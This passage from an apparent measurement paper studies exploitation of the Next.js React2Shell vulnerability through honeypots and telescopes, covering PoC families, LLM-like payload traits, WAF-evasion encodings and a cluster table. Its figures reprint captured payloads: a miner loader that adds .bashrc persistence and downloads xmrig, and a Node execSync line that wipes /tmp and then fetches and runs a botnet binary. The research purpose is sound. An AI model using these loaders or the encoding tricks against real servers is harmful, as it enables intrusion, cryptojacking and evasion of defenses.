35]. From that point onward, the ecosystem transitions into a longer
tail extending into early 2026, where new repositories are more
heterogeneous and often take the form of demonstrations, scanners,
or educational artifacts rather than novel exploit implementations.

The structural families shown in Figure 8 (and Figure 13 in the
Appendix) capture recurring implementation patterns across these
PoCs. Families group exploits that share core characteristics such
as payload construction, request encoding, and parameter place-
ment, while variants represent more specific instantiations of these
patterns. For example, the compact_proto family consists of PoCs
that use compact, parameterized HT TP requests to trigger server-
side evaluation, while scanner-oriented variants integrate these
payloads into templated request workflows. Other families, such as
the msanft-like group, reuse a common request structure (includ-
ing consistent parameter names and body layouts) across multiple
repositories, while the lachlan family follows a distinct chaining
strategy for passing attacker-controlled input through multiple
transformation steps before evaluation.

To assess how observed exploitation aligns with these public
PoCs, we construct custom matchers derived from the analyzed
repositories. These matchers capture distinctive code-level artifacts,
including (1) exact payload structures (e.g., arithmetic evaluation
patterns such as {{x}} * {{y2}}), (2) characteristic request encod-
ings such as multipart/form-data boundaries, field ordering, and
parameter naming conventions, and (3) reusable implementation
artifacts such as hardcoded parameter names (e.g., action, input,
or data), specific JSON or form field structures, and fixed request
paths or endpoints used across PoCs. Matches are classified at two
levels: variant-level (exact or near-exact correspondence with a
specific PoC implementation) and family-level (structural similarity
to a broader exploit pattern).

Applying these matchers to the full dataset, we find that ap-
proximately 77.5% of observed requests can be associated with one
of the identified public PoC families or variants. This should be
interpreted as an upper-bound estimate of potential linkage rather
than definitive attribution, as family-level matches capture struc-
tural similarity and may include independently implemented but
functionally equivalent exploits. Nonetheless, the high match rate
indicates that a substantial share of observed activity is consistent
with reuse or adaptation of publicly available PoC code, reinforcing
the role of public exploit releases in shaping large-scale exploitation
behavior 30, 35].

Finally, some repositories predate the vulnerability and were later
repurposed to include React2Shell-related functionality. Repository
creation timestamps should therefore be interpreted as indicative of
reuse rather than precise exploit origin. Despite this limitation, the
combination of temporal concentration and high matcher coverage

IMC ’26, October 12-16, 2026, Karlsruhe, Germany

Assetnote-style
math variant
/ Nucleilike
math redirect
[Com pact proto redirect family
T
Chocapikk-like
kOaDT .env.local
e U .
Action-ref family

Compact proto
family-like
Safe detector family

Figure 8: Overview of the different PoC families. For a more
detailed overview, see Figure 13 in the Appendix.

G_achlan / map-chain family
—

Public React2Shell PoCs

suggests that public PoCs enabled rapid and widespread propaga-
tion of exploit techniques across the ecosystem.

7.2 Al Characteristics of Payloads

In our analysis, we noticed various components of attack chains
with markers consistent with LLM-style code artifacts. This includes
overly verbose natural-language remnants in code comments (e.g.,
step-by-step instructions or unnecessary comments describing sim-
ple actions), redundant error handling / safety checks, detailed
debug print statements, redundant code indentation, and the use
of a Unicode “em dash” character [12, 25, 37, 38]. The markers de-
scribed in this subsection are commonly present in Al-generated
code and do not serve any purpose in the deployment of malware
in a real-world campaign, however, it is impossible to rely on such
heuristics to attribute beyond any doubt a given piece of code to
generative AL

Detection tools for Al-generated code do exist; however, their
performance does not generalize well across different programming
domains [36]. Malware loaders are very specific in comparison to
general-purpose software, both in terms of code size and purpose,
and compiled malware binaries lack source code entirely. Thus,
developing robust Al detection for malware samples is beyond the
scope of this work and is left for future research.

We now discuss a few examples of clusters exhibiting LLM-style
characteristics. Cluster 2026-03-31/A consists of payloads deploying
a cryptominer variant, as seen in Figure 9. The first-stage loader of
this exploitation chain is a Bash script with very verbose comments,
detailed debug logging, and redundant safety checks. The safety
checks verify the presence of variables, even though the same script
sets the value of these variables to a constant just a few lines above.
Moreover, the comments contain step-by-step instructions, which
is often seen in Al-generated code.

Payloads in cluster 2026-02-16/A perform platform fingerprint-
ing. What sets this cluster apart is the use of very verbose comments,
code indentation, and a redundant try-catch statement, which is
reminiscent of Al-generated code. A sample payload is shown in
Figure 10.

In cluster 2025-12-13/A, which attempts to deploy a botnet vari-
ant, we observe three types of LLM-style markers. These are debug
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#!/bin/bash

# Configuration

# This generates a random 10-12 digit number for the filename (e.g.,
< 23131352114)

UID_NAME="$(( (RANDOM << 15) | RANDOM ))$(( (RANDOM << 15) | RANDOM ))"
INSTALL_DIR="$HOME/.sys_cache"

EXE_PATH="$INSTALL_DIR/$UID_NAME"

BASHRC="$HOME/ .bashrc"

VERSION="6.21.0"

# Unmineable Worker Name
RAND_ID=$((1000 + RANDOM % 9000))
WORKER_NAME="WORKER_$RAND_ID"

# Fix for "command not found" errors
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Detect Architecture
ARCH=$(uname -m)
echo "Detected architecture: $ARCH"

if [[ "$ARCH" == "x86_64" 11; then
DOWNLOAD_URL="<redacted>"

elif [[ "$ARCH" i%86 11; then
DOWNLOAD_UI

elif [[ "$ARCH" "aarch64" 11; then
DOWNLOAD_URL="<redacted>"

else
echo "Unsupported architecture: $ARCH"; exit 1

fi
mkdir -p "$INSTALL_DIR"

# 1. Setup Persistence

# We use pgrep -f on the INSTALL_DIR so it finds the random UID process
PERSIST_LINE="pgrep -f $INSTALL_DIR > /dev/null || (cd $INSTALL_DIR && ./\$(ls
< $INSTALL_DIR | grep -v '.tar.gz' | head -n 1) -o <redacted> -a rx -k -u
< LTC:<redacted>.$WORKER_NAME --threads=\$(nproc) --background) > /dev/null
— 2>&1 & #SYS_SET"

if ! grep -q "SYS_SET" "$BASHRC"; then
echo -e "\n$PERSIST_LINE" >> "$BASHRC"
echo "Persistence added to .bashrc"
fi

# 2. Download and Rename
if [ ! -f "$EXE_PATH" 1; then
echo "Downloading for $ARCH..."

cd /tmp
if ! wget -q -0 setup.tar.gz "$DOWNLOAD_URL"; then
curl -sL -o setup.tar.gz "$DOWNLOAD_URL" || python3 -c "import

< urllib.request; urllib.request.urlretrieve('$DOWNLOAD_URL',
— 'setup.tar.gz')"
fi
tar -xf setup.tar.gz -C "$INSTALL_DIR" --strip-components=1
mv "$INSTALL_DIR/xmrig" "$EXE_PATH"
rm -f setup.tar.gz
fi

# 3. Run Miner
chmod +x "$EXE_PATH"
cd "$INSTALL_DIR" || exit

# Use $(nproc) to automatically use all available CPU cores
./"$UID_NAME" -o <redacted> -a rx -k -u LTC:<redacted>.$WORKER_NAME

< --threads=$(nproc) --background

echo "Miner started in background as $UID_NAME (Worker: $WORKER_NAME)."

Figure 9: A payload in cluster 2026-03-31/A containing LLM-
style markers (highlighted).

print statements, redundant error handling, and redundant code
indentation. In a live malware deployment attempt, there is no
reason to have such error handling or debug statements — in case
an exploitation attempt fails, these statements would be printed to
the server console, which the threat actor cannot access. Moreover,
they are prefixed (in this case, “[+]” and “\n[+]”), which is com-
mon in Al-generated code. An example of a payload in this cluster
is shown in Figure 11.

var res=(function(){

// Primary detection: use uname -m (most reliable)

try{
var uname=[...]

// x86_64 detection

if(uname==="'x86_64"||uname===[...]1){
return 'x86_64";

}

// x86 (32-bit) detection
if(uname==="1386"||[...1){
return 'x86';

}

// ARM detection (specific versions)

[...]

if(uname.includes('arm')||[...1){
// aarch64 is ARM64, but we'll treat as generic ARM or arm7
if(uname==="aarch64')return 'arm7';

return 'arm';

}

// MIPS detection

if(uname.includes('mipsel')||[...1){
return 'mpsl’;

}

[...]

// Other architectures
[...]
Ycatch(e){}

// Fallback: use Node.js os.arch() if uname fails
if(platform==="1inux"'){
// x86_64 detection from Node.js
if(arch==="'x64"){
return 'x86_64";

}
[...1
// ARM detection from Node.js
if(arch==="arm'||arch==="armé64'){
// Try uname one more time for specific version
try{
var uname2=cp.execSync('uname -m', [...]
[...]
Ycatch(e){}
return 'arm7'; // Default ARM

}

// MIPS from Node.js
[...1
}

return 'x86'; // Default fallback
»O;L...]

Figure 10: An example payload in cluster 2026-02-16/A con-
taining LLM-style markers (highlighted). Some lines are trun-
cated for brevity (“[...]7).

During our malware analysis, we also observed compiled binaries
exhibiting Al characteristics, such as the dropper in clusters 2026-
01-25/A and 2026-01-26/A. This sample has extensive and well-
structured debug logging capabilities. It prints messages starting
with a prefix ([+], [-1, [*], [!], and [===]) at every logical step
of execution. Furthermore, the binary has a rigid structure with
numerous safety checks even for simple operations that are very
unlikely to fail, including 56 null checks and 10 return value checks,
with detailed debug messages both in case of success and failure.
The most revealing sign of Al use in this binary is the presence of an
“em dash” (“—”) in one of the messages. This is a Unicode character
that cannot be typed manually by a developer using a standard
keyboard but is commonly seen in Al-generated content [25].
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(function(){

try {
var res = process.mainModule.require("child_process").execSync("cd
< /tmp; rm -rf *; wget -0 http://<redacted>/xd.x86; chmod +x
— xd.x86; ./xd.x86 nextjs").toString();
console.log("\n[+] RCE RESULT:\n" + res);
throw new Error("[+] RCE SUCCESS: " + res);

} catch(e) {
console.log(e);
throw e;

}
»O

Figure 11: An example payload in cluster 2025-12-13/A con-
taining LLM-style markers (highlighted).

7.3 Firewall Evasion Techniques

Shortly after the vulnerability was publicly disclosed, various fire-
wall rules were released by vendors and organizations to help pro-
tect vulnerable infrastructure until a patch can be deployed [4, 9, 40].
To identify attempts to bypass signature-based detection mecha-
nisms used by Web Application Firewalls (WAF) and Intrusion De-
tection/Prevention Systems (IDS/IPS) in our dataset, we investigate
payloads whose structure differs from that of others.

A typical exploitation payload is a string in the JSON-like Flight

format, for example: “{"then": "$1:__proto__:then", "status":

"resolved_model"...”; see Section 5.1. We identified two general
types of payload modifications, which we describe below.

Escaped Unicode Characters. JSON (and Flight) offer the abil-
ity to encode any Unicode character into the object by escaping it
in the form “\uXXXX”, where “XXXX” is the hexadecimal encoding
of the character. When such an object is deserialized, the encoded
character is restored.

We identified a number of payloads that make use of this property
to encode even regular ASCII characters in this format. An exam-
ple of such a payload begins as follows: “{"\u@@74\u@068\u0065
\u@o6e": . ..” In this example, these characters are decoded to the
string “then”. We found such sequences of encoded characters in
0.007% of the observed payloads.

This is unusual, as there is typically no reason for a serialization
tool to encode regular printable ASCII characters as escaped Uni-
code; to our knowledge, there is no encoding tool that performs
such encoding by default. This type of encoding takes up more
space — an ASCII character is encoded as 6 bytes rather than one;
such a payload is thus more inefficient to transmit and store.

UTF-16 Encoding. We also found some payloads where null
bytes were present between each pair of characters, for example:
“ututuhnesnts s L7, where % is a raw null byte in the pay-
load. Upon closer examination, we found that the HTTP multipart
form data containing these payloads is encoded using the UTF-16LE
(Little Endian) character set. This is unusual, as Flight payloads
do not contain any non-ASCII characters, so there is no need to
use UTF-16 encoding. It is also inefficient, as it effectively dou-
bles the number of bytes that need to be transmitted per character.
UTF-16LE encoding is present in 1.113% of the payloads in our
dataset.

Combinations. Finally, we also found some payloads combining
the two techniques: a Flight payload with ASCII characters escaped
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as Unicode, sent in an HTTP request with UTF-16LE-encoded form
data. This was the case for 0.004% of the observed payloads.

Payloads containing escaped Unicode characters were first de-
tected by our monitoring on December 14th, 2025, around 10 days
after initial exploitation. UTF-16LE-encoded payloads were first
seen shortly after, on December 18th. The first payload combining
the two techniques was observed much later, on December 28th.

We identified several pairs of clusters where one is an encoded
version of the other — for instance, 2026-02-13/B and 2026-03-14/B
are UTF-16LE-encoded payload versions of the malware variants
seen in 2026-02-13/A and 2026-03-14/A respectively. Due to the fact
that these encoding methods are unusual and inefficient, we find it
likely that they are employed as techniques to evade signature-
based security mechanisms such as Web Application Firewalls
(WAF) and Intrusion Detection / Prevention Systems (IDS/IPS).
While bypass techniques were adopted by a very limited set of
attackers, their presence demonstrates why a WAF does not guar-
antee complete protection of a vulnerable application and shows
the importance of properly updating vulnerable software.

8 Discussion

The Next.js React2Shell vulnerability is a recent example of how
vulnerable our server infrastructure is to the severe risks posed by
popular software implementations. As a growing population of web
developers relies on (open source) web development frameworks
such as Next.js, similar incidents may occur again in the future. By
analyzing Next.js React2Shell exploitation and learning from it, the
operational and security community can be better prepared to ad-
dress major security vulnerabilities in the future. In this section, we
reflect on our results to highlight weaknesses in the security ecosys-
tem and to sound a wake-up call about the increasing sophistication
of attackers.

On the Dual Use of PoCs. Our analysis shows that the publicly
released proof-of-concept (PoC) exploits became very popular and
were weaponized at scale to exploit the Next.js React2Shell vulnera-
bility. This fuels the debate over whether PoCs should be developed
immediately and made publicly available, especially for highly crit-
ical vulnerabilities such as the Next.js React2Shell vulnerability,
which has a CVSS score of 10.0. Having the proof-of-concept imme-
diately available limits system administrators’ reaction time before
large-scale exploitation begins. In the case of Next.js React2Shell,
patching was also a slow process, as in other cases, e.g., Heartbleed.

The Hardness of Patching. In the case of Next.js, patching
is much slower than for end-user applications or system pack-
ages. Next.js is a dependency of other applications, it is a web-
development framework; servers do not run Next.js itself, but rather
a concrete end-user application built on top of it. This introduces
yet another layer in the patching process. A system administrator
cannot patch a server by simply updating a system package. Instead,
after a patch is released, the developers of every application built
on top of Next.js have to update their dependencies, rebuild their
application, and publish an update, and only then can system admin-
istrators of servers hosting these applications actually patch their
systems. This problem is particularly critical in the case of aban-
donware built on top of Next.js, which may never be patched, even
when fixes are available at the framework level [43, 66]. At the end
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of April 2026, five months after the PoC release, more than 60,000
servers hosting vulnerable Next.js-based applications remained ex-
ploitable by utilizing public PoCs, according to the Shadowserver
Foundation’s daily report [55], with the vast majority hosted in the
United States.

Advanced Cyberattack Capabilities. Our analysis shows that
over time, the Next.js React2Shell exploitation became more sophis-
ticated and effective. It also shows that attackers built upon the
initial PoC and, in some cases, have likely been assisted by agentic
tools. Our firewall-evasion case studies show that Web Application
Firewall (WAF) rules can be bypassed by more recent variations
of the original Next.js React2Shell exploitation PoC. This means
that system administrators should not rely solely on WAF rules to
protect known vulnerable hosts, as more advanced threat actors
can likely find ways to obfuscate payloads and eventually bypass
them; attackers have the resources, tools, and capabilities to quickly
modify their attack code and react to defense strategies by system
administrators and the security community. Our analysis also re-
veals waves of exploitation campaigns with different goals. Initially,
the exploitation focused on installing botnet code and infostealers,
but later, cryptomining took over. This shows that cybercriminals
use known vulnerabilities as attack vectors to achieve objectives
that may change over time. Given the recent developments in agen-
tic cybersecurity capabilities, demonstrated, e.g., in the DARPA Al
Cyber Challenge (AIxCC) [14], we expect that the orchestration and
evolution of attack code, which we only see in a fraction of today’s
attacks, will be the new norm in the near future. The operational
and research communities should prepare for this upcoming chal-
lenge and develop the necessary defenses and tools to address it.
One direction is to also take advantage of readily available agentic
technologies to orchestrate defense mechanisms, automate patch-
ing and analyze exploit code collected across different parts of the
network, e.g., via Anthropic Claude Mythos [5].

Tracking Future Novel Vulnerabilities. While our analysis
focuses on the Next.js React2Shell vulnerability, the methodology
proposed in this work can easily be adapted to track the exploitation
of novel vulnerabilities in the future. Our results show that a generic
network telescope may not be sufficient to gain a comprehensive
overview; an interactive honeypot would likely be necessary to
capture more sophisticated exploitation attempts that first check
for the presence of a vulnerability before exploitation. This study
also shows that sorting the vast majority of exploitation attempts
of a newly discovered vulnerability into clusters and categories is
feasible through the use of characteristics common to a particular
exploitation campaign, i.e., Indicators of Compromise (IoCs).

Limitations. Our study is not without limitations. We collect
Next.js React2Shell exploits from a small number of vantage points,
so our view may be biased toward the locations of our telescopes
and honeypots. This could have affected the observed attack sources
and types of traffic. Additionally, in some of our analysis we make
use of IP geolocation information from IPinfo, which, by its na-
ture, may not always be fully accurate. Moreover, our interactive
honeypots do not have all their ports open; thus, we may have
missed exploits on non-standard ports. Our telescopes were acti-
vated before the release of Next.js React2Shell, but our honeypots
were developed and deployed a few days after the CVE release,
so it is possible that they did not record some initial (two-phase)
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scanning and attack campaigns. Previous reports mentioned that
Next.js React2Shell vulnerability had been weaponized by state
actors for targeted attacks on critical infrastructure and govern-
ments [4, 22]. Our vantage points are not part of critical sectors,
such as energy, mobility, or finance, so we may well have missed
such activity. Our attribution capabilities are also limited, as we
do not have access to classified threat intelligence that can pin-
point state actors. Nevertheless, our monitoring can shed light on
mass scanners that go beyond regular (institutional) actors and can
unveil mass exploitation attempts. Our data sources collected all
observed Next.js React2Shell-related traffic. However, while our
measurement infrastructure spans three networks in total, most
of it (the telescopes and the /24 honeypot range) is located in one,
potentially introducing regional bias. Moreover, it is possible that
advanced exploitation attempts utilizing novel obfuscation tech-
niques that we are not aware of or using currently unknown entry
points could have prevented our collectors from correctly capturing
them and could thus have been excluded from our analysis. To date,
such capabilities have not been reported in any commercial or other
security report on the Next.js React2Shell incident, but in principle,
such exploits could exist.

9 Related Work

In recent years, several public disclosures of catastrophic vulnerabil-
ities have been reported that allowed remote code execution (RCE).
Such disclosures changed the security landscape, enabling massive,
widespread attacks before patches were created and eventually
deployed.

In late 2021, Log4Shell [17, 26, 50] was discovered and received
a perfect 10.0 CVSS score. This critical RCE vulnerability in the
Apache Log4j Java logging library has since been a long-lasting
attack surface. In 2021, the ProxyLogon pre-authentication RCE vul-
nerabilities in Microsoft Exchange Server were discovered [49]. This
led to thousands of organizations having their mail servers compro-
mised. In 2019, BlueKeep [48], an RCE vulnerability in Microsoft
Remote Desktop Services, was discovered. This critical vulnerability
allows malware to spread automatically from machine to machine
without user interaction. In 2017, a critical vulnerability in the
Apache Struts 2 framework was discovered [47]. It was exploited
by attackers to gain access to the systems of Equifax, leading to the
breach of 147 million American personal records [57]. In the same
year, EternalBlue [46], a vulnerability in the Windows SMB (Server
Message Block) protocol, was discovered and fueled the WannaCry
and NotPetya attacks, causing an estimated $10 billion in global
damages [61].

Although not an RCE, the Heartbleed vulnerability [15, 45, 64] ex-
ploited a critical flaw in the OpenSSL cryptographic library in 2014.
Heartbleed allowed attackers to read server memory, potentially
exposing secret keys, user passwords, and personal data. It affected
a significant portion of the Internet’s HTTPS traffic. The creation
of Let’s Encrypt [1] was directly influenced by the “wake-up call”
of Heartbleed as a community effort shortly after the incident to
address the high costs and complexity of enabling HTTPS. In 2014,
Shellshock [51], a critical vulnerability in the Linux Bash shell, was
discovered. Shellshock was considered more severe than Heartbleed
because it allowed full system control without a password.
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Researchers have also made use of network telescopes and honey-
pots to track the exploitation of vulnerabilities in the wild. Griffioen
et al. [24] made use of an IoT honeynet as well as a passive network
telescope to measure the activity of Mirai botnet variants and the
way they adapt over time. Hiesgen et al. [26] performed a longitu-
dinal study of Log4Shell exploitation using reactive telescopes.

10 Conclusion

In this paper, we characterize Next.js React2Shell exploitation since
the vulnerability was disclosed in December 2025, employing pas-
sive and active telescopes as well as Next.js customized honeypots.
The vulnerability was highly exploitable, and the release of the
proof-of-concept made Next.js a popular attack vector for cyberat-
tackers. The majority of the exploits were used for cryptomining,
botnet activity, and infostealing. In fact, we noticed that the popu-
larity of such activities varies over time. While the weaponization
of the Next.js React2Shell exploitation was most popular for bot-
net and infostealer activity in the first months, in recent months,
cryptomining has become the most prevalent abuse. We also ob-
served that while initial exploitation techniques relied on public
proof-of-concept exploits, more sophisticated and effective variants
were later developed to evade defenses such as Web Application
Firewalls. Our study sheds light on an internet phenomenon in
response to a catastrophic vulnerability discovered in a very popu-
lar online system. Through the lens of our work, we want to raise
awareness of the high levels of responsiveness, capabilities, and
innovation capacity demonstrated by cyberattackers to exploit vul-
nerabilities in popular online systems, ready to be unleashed upon
future vulnerability disclosures.
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A Ethics

In our study, we deployed reactive telescopes across the address
space we operate, in coordination with the network administrators
at our network provider. Our reactive infrastructure, which includes
reactive network telescopes and customized interactive honeypots,
does not send any data without first receiving a request from an
external IP. It could be tricked into sending traffic to a secondary
host when receiving a message with a spoofed source IP. In this
case, our infrastructure would send a reply to the spoofed source,
effectively reflecting (but not amplifying) the request. This, how-
ever, is no different from a regular service on the Internet, where
an adversary can also send a spoofed connection packet, for which
the reply is sent to another host. We do not observe any abuse of
our infrastructure in terms of reflection attempts. To achieve a high
level of deception, our honeypots are highly interactive. A highly
interactive honeypot could, in theory, be abused by attackers to
use us as a proxy to attack others. To avoid this shortcoming, our
honeypots sandbox any malicious payloads so that they do not
have network access, and we have also set bandwidth limits so
they cannot be used for cyberattacks, as well as resource usage con-
straints so they cannot be abused for cryptomining. We did not use
the Next.js React2Shell Exploitation proof-of-concept or any other
script or malware we collected to create harm, nor did we share
attack code. The attack code was maintained in a secure, sandboxed
environment, and the reverse-engineering analysis was used only
to gain insights into the TTPs and goals of the cyberattackers. In
our analysis, we did not engage in any hack-back activity; i.e., we
did not explicitly go after the threat actor’s infrastructure to down-
load additional artifacts where available, nor did we fight back. To
avoid blacklisting and reputation damage, we do not publish any
IP addresses or other identifiable information, protecting innocent
organizations and infrastructure that may have participated in at-
tacks without their knowledge or consent. We also do not name
and shame operators or organizations that do not take remedia-
tion measures to update or protect vulnerable Next.js servers, as
we do not have operational details and are aware of the technical
complications of updating Next.js systems.

B Clustering

Table 4 shows a summary of all payload clusters we identified. For
each cluster, it lists its unique identifier, category, prevalence, and
other details.
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Cluster Category % of flows No. flows First seen Last seen Seen in Unigq. source IPs Uniq. ASes Uniq. countries Unigq. dest. ports
2026-01-25/A Cryptominer 0.03% 3986 2026-01-25 2026-01-27 telescope 1779 324 69 1
2026-01-26/A Cryptominer 0.00% 621 2026-01-26 2026-01-27 telescope 571 142 46 1
2 Botnet / Backdoor 0.38% 49862 2026-03-21 2026-03-31 honeypot 4 1 2 1

Cryptominer 0.76% 101022 2026-02-13 2026-03-21 both 24 8 6 3
2026-02-13/B Cryptominer 0.38% 50702 2026-02-13 2026-03-21 both 22 8 6 3
2026-03-14/A Cryptominer 0.25% 33334 2026-03-14 2026-03-25 both 4 2 2 2
2026-03-14/B Cryptominer 0.18% 23375 2026-03-14 2026-03-25 both 4 2 2 2
2026-02-25/A Cryptominer 0.09% 11927 2026-02-25 2026-03-21 telescope 8 5 4 1
2026-03-11/A Cryptominer 0.08% 10319 2026-03-11 2026-03-31 honeypot 14 1 1 1
2026-03-18/A Botnet / Backdoor 0.01% 1628 2026-03-18 2026-03-20 honeypot 1 1 1 1
2025-12-06/A Cryptominer 0.08% 10003 2025-12-06 2025-12-09 telescope 2 2 2 4
2026-03-24/A Botnet / Backdoor 0.04% 5792 2026-03-24 2026-03-25 both 1 1 1 3
2026-01-16/A Cryptominer 0.05% 6964 2026-01-16 2026-03-31 honeypot 7 6 5 1
2026-03-31/A Cryptominer 0.01% 1451 2026-03-31 2026-03-31 honeypot 3 1 2 1
2026-03-31/B Cryptominer 0.02% 2182 2026-03-31 2026-03-31 honeypot 2 1 2 1
2026-03-31/C Cryptominer 0.01% 975 2026-03-31 2026-03-31 honeypot 3 1 2 1
2026-01-23/A Cryptominer 0.01% 1603 2026-01-23 2026-01-29 honeypot 4 3 2 1
2025-12-12/A Botnet / Backdoor 0.01% 1549 2025-12-12 2025-12-30 telescope 34 18 11 6
2025-12-17/A Botnet / Backdoor 0.04% 5806 2025-12-17 2025-12-26 telescope 30 14 11 3
2026-02-14/A Cryptominer 0.02% 2491 2026-02-14 2026-03-31 honeypot 4 4 4 1
2026-02-14/B Cryptominer 0.03% 3675 2026-02-14 2026-03-31 honeypot 7 7 6 1
2026-02-02/A Cryptominer 0.01% 1477 2026-02-02 2026-03-22 honeypot 3 3 3 1
2026-01-25/B Cryptominer 0.01% 1650 2026-01-25 2026-03-09 honeypot 3 2 2 1
2026-02-11/A Cryptominer 0.01% 1114 2026-02-11 2026-03-22 honeypot 3 3 2 1
2026-01-17/A Cryptominer 0.06% 7304 2026-01-17 2026-03-31 honeypot 7 7 7 1
2026-03-28/A Botnet / Backdoor 0.02% 2553 2026-03-28 2026-03-28 honeypot 2 1 1 1
2025-12-08/A Botnet / Backdoor 0.01% 1558 2025-12-08 2025-12-12 telescope 126 45 30 24
2026-01-18/A Botnet / Backdoor 0.14% 18268 2026-01-18 2026-02-02 telescope 33 15 10 7
2026-03-29/A Cryptominer 0.01% 1024 2026-03-29 2026-03-29 honeypot 1 1 1 1
2026-03-19/A Cryptominer 0.02% 2048 2026-03-19 2026-03-24 honeypot 4 1 1 1
2026-01-28/A Cryptominer 0.00% 199 2026-01-28 2026-01-29 honeypot 2 2 1 1
2026-03-11/B Botnet / Backdoor 0.24% 31316 2026-03-11 2026-03-26 honeypot 5 1 2 1
2026-03-14/C Botnet / Backdoor 0.04% 4998 2026-03-14 2026-03-31 honeypot 5 4 3 1
2026-03-31/D Botnet / Backdoor 0.04% 5605 2026-03-31 2026-03-31 honeypot 2 1 2 1
2025-12-06/B Botnet / Backdoor 0.65% 85882 2025-12-06 2026-02-03 telescope 77 30 18 15
2026-02-28/A Botnet / Backdoor 0.02% 3180 2026-02-28 2026-03-13 honeypot 6 4 2 1
2025-12-14/A Cryptominer 2.46% 325461 2025-12-14 2025-12-20 both 3 3 2 6
2025-12-09/A Cryptominer 2.87% 380205 2025-12-09 2025-12-20 both 4 3 2 20
2026-03-31/E Botnet / Backdoor 0.02% 2521 2026-03-31 2026-03-31 honeypot 2 1 2 1
2026-01-22/A Botnet / Backdoor 0.07% 8940 2026-01-22 2026-03-13 honeypot 10 8 4 1
2025-12-05/A Botnet / Backdoor 0.03% 4202 2025-12-05 2025-12-05 telescope 2 1 1 2
2025-12-05/B Botnet / Backdoor 0.98% 129951 2025-12-05 2025-12-07 telescope 2 1 1 46
2025-12-15/A Botnet / Backdoor 21.25% 2816865 2025-12-15 2026-03-31 both 182 90 35 14
2026-01-18/B. Botnet / Backdoor 2.80% 371649 2026-01-18 2026-03-31 both 3 1 2 2
2025-12-05/C Botnet / Backdoor 6.09% 807118 2025-12-05 2026-01-17 telescope 1 1 1 31
2025-12-06/C Cryptominer 0.08% 10392 2025-12-06 2026-03-31 both 16 3 3 3
2025-12-11/A Credential theft 0.07% 9016 2025-12-11 2026-03-30 honeypot 121 18 20 1
2026-03-13/A Credential theft 0.05% 6117 2026-03-13 2026-03-23 honeypot 5 2 4 1
2025-12-11/B Credential theft 0.06% 7332 2025-12-11 2026-03-20 honeypot 163 7 17 1
2025-12-12/B Credential theft 0.03% 4595 2025-12-12 2026-02-16 honeypot 13 5 6 1
2025-12-11/C Credential theft 0.02% 3047 2025-12-11 2026-03-19 honeypot 172 14 19 1
2025-12-11/D Credential theft 0.32% 42826 2025-12-11 2026-02-18 honeypot 164 3 14 1
2026-03-26/A Cryptominer 0.15% 19393 2026-03-26 2026-03-28 honeypot 1 1 1 1
2026-03-26/B Cryptominer 0.01% 1276 2026-03-26 2026-03-26 honeypot 1 1 1 1

Cryptominer 0.06% 7756 2026-03-28 2026-03-28 honeypot 1 1 1 1

Cryptominer 0.03% 3878 2026-03-28 2026-03-28 honeypot 1 1 1 1

Cryptominer 0.01% 1321 2026-03-26  2026-03-26  honeypot 1 1 1 1
2026-03-28/D Cryptominer 0.01% 1939 2026-03-28 2026-03-28 honeypot 1 1 1 1
2026-01-29/A Cryptominer 0.01% 697 2026-01-29 2026-02-02 honeypot 5 3 2 1
2025-12-04/A Unclassified 2.22% 294545 2025-12-04 2026-03-31 both 887 236 64 252
2026-01-31/A Cryptominer 0.20% 26643 2026-01-31 2026-02-06 telescope 5 3 3 3
2025-12-07/A Vulnerability scanning 1.21% 160531 2025-12-07 2025-12-11 telescope 4 1 1 23
2026-02-16/A Vulnerability scanning 0.03% 4438 2026-02-16 2026-03-13 honeypot 7 6 4 1
2026-01-22/B Vulnerability scanning 0.00% 287 2026-01-22 2026-02-19 honeypot 277 64 29 1
2025-12-11/E Vulnerability scanning 0.58% 76931 2025-12-11 2026-03-31 both 215 64 25 32
2026-03-17/A Vulnerability scanning 0.04% 5844 2026-03-17 2026-03-30 honeypot 2 1 1 1
2025-12-09/B Vaulnerability scanning 1.88% 249139 2025-12-09 2026-03-31 both 926 185 49 14
2025-12-25/A Vaulnerability scanning 0.00% 59 2025-12-25 2026-03-22 honeypot 3 1 1 1
2025-12-09/C Vulnerability scanning 6.35% 841400 2025-12-09 2026-03-20 both 68 26 13 1099
2026-03-28/E Vaulnerability scanning 0.00% 245 2026-03-28 2026-03-31 honeypot 72 33 19 1
2026-01-03/A Vulnerability scanning 0.12% 15552 2026-01-03 2026-03-31 honeypot 1715 286 68 1
2025-12-25/B Vulnerability scanning 0.00% 61 2025-12-25 2026-03-22 honeypot 3 1 1 1
2026-03-26/D Vulnerability scanning 0.02% 3034 2026-03-26 2026-03-26 honeypot 1 1 1 1
2025-12-11/F Vulnerability scanning 0.01% 834 2025-12-11 2026-03-31 honeypot 195 7 18 1
2025-12-11/G Vulnerability scanning 0.29% 38494 2025-12-11 2026-03-30 both 241 39 25 4
2025-12-17/B Vulnerability scanning 0.16% 20603 2025-12-17 2025-12-20 both 2 2 2 4
2025-12-06/D Vaulnerability scanning 7.26% 962812 2025-12-06 2026-03-31 both 311 122 49 12
2025-12-11/H Vaulnerability scanning 0.08% 10231 2025-12-11 2026-03-30 both 193 61 23 27
2026-03-17/B Vaulnerability scanning 0.04% 5844 2026-03-17 2026-03-30 honeypot 2 1 1 1
2025-12-06/E Vulnerability scanning 0.67% 88834 2025-12-06 2026-03-31 both 120 53 19 39
2025-12-21/A Vulnerability scanning 30.04% 3980894 2025-12-21 2026-03-31 both 28 10 8 169
2025-12-30/A Vulnerability scanning 0.11% 14154 2025-12-30 2025-12-30 telescope 1 1 1 1
2026-03-16/A Vulnerability scanning 0.01% 1776 2026-03-16 2026-03-31 honeypot 223 2 12 1
2025-12-09/D Vulnerability scanning 0.27% 36349 2025-12-09 2026-03-26 both 46 30 17 12
2025-12-11/T Vulnerability scanning 0.00% 466 2025-12-11 2026-03-30 honeypot 196 12 17 1
2026-01-22/C Vulnerability scanning 0.00% 302 2026-01-22 2026-02-19 honeypot 291 66 29 1
2025-12-08/B Vaulnerability scanning 0.02% 2172 2025-12-08 2026-03-30 both 16 12 8 4
2025-12-04/B  Vulnerability scanning  0.59% 77641 2025-12-04  2026-03-31  both 293 53 25 7
2026-01-07/A Cryptominer 0.03% 4073 2026-01-07 2026-01-14 both 3 3 2 2
2026-01-09/A Cryptominer 0.00% 392 2026-01-09 2026-01-10 both 1 1 1 3
2026-01-24/A Cryptominer 0.03% 4616 2026-01-24 2026-03-25 telescope 20 5 4 3
2025-12-13/A Botnet / Backdoor 6.48% 859213 2025-12-13 2026-03-31 both 16 5 6 11
